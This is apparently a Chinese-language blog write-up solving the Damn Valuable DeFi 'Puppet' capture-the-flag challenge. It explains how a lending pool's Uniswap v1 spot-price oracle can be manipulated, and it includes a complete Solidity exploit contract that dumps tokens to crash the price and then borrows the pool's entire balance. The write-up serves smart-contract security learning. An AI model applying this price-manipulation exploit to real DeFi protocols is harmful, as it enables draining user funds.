最近事情真的多到快要炸開了,然後有一台筆電壞到左邊的 hub 剩下電源跟網路孔是好的,真是多麼美好的一天(癱
There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Pass the challenge by saving all tokens from the lending pool, then depositing them into the designated recovery account. You start with 25 ETH and 1000 DVTs in balance.
這一題一共有3個合約,但是按照之前的經驗我們可以只看跟題目名字長的一樣的就好XD
按照題目的意思,如果我們需要借貸 DVT 的話,我們必須先存入2倍的 ETH 進入底池,然後目前該底池有 100000 個 DVT
現在有一個 Uniswap v1 交易所開放了 DVT 市場,目前有 10 ETH 和 10 DVT 的流動性
那參考下面的 function,可以看到 DVT 的價格會經過一系列的計算來決定,所以看看能不能耍一下小手段來修改價格
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
}
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
為了可以實現 0 元購
如果我們能讓 calculateDepositRequired()
返回 0,那麼我們就可以免費從池中借出所有的 DVT 代幣,至於要怎麼讓它返回 0 ,我們可以把東西賣給 Uniswap 來讓 uniswapPair.balance
變小,並讓 token.balanceOf(uniswapPair)
變大,沒錯,就是通貨膨脹
function test_puppet() public checkSolvedByPlayer {
PuppetExploit exploit = new PuppetExploit{value:PLAYER_INITIAL_ETH_BALANCE}(
token,
lendingPool,
uniswapV1Exchange,
recovery
);
token.transfer(address(exploit), PLAYER_INITIAL_TOKEN_BALANCE);
exploit.attack(POOL_INITIAL_TOKEN_BALANCE);
}
contract PuppetExploit {
DamnValuableToken token;
PuppetPool lendingPool;
IUniswapV1Exchange uniswapV1Exchange;
address recovery;
constructor(
DamnValuableToken _token,
PuppetPool _lendingPool,
IUniswapV1Exchange _uniswapV1Exchange,
address _recovery
) payable {
token = _token;
lendingPool = _lendingPool;
uniswapV1Exchange = _uniswapV1Exchange;
recovery = _recovery;
}
function attack(uint256 exploitAmount) external {
uint256 tokenBalance = token.balanceOf(address(this));
// 授權 Uniswap 使用本合約的所有 DVT 代幣
token.approve(address(uniswapV1Exchange), tokenBalance);
// 將所有 DVT 代幣換成 ETH,並設置最低接受的 ETH 數量 (9)
uniswapV1Exchange.tokenToEthTransferInput(
tokenBalance,
9,
block.timestamp,
address(this)
);
// 使用合約中所有的 ETH 作為抵押,從借貸池借出指定數量的 DVT 代幣,並將其發送至 recovery 地址
lendingPool.borrow{value: address(this).balance}(
exploitAmount,
recovery
);
}
// 接收 ETH 的回調函數
receive() external payable {}
}
理論上是過了,但是有一個錯誤是 rpc url 我沒有設定,但是我好懶的動它
每日梗圖(1/1)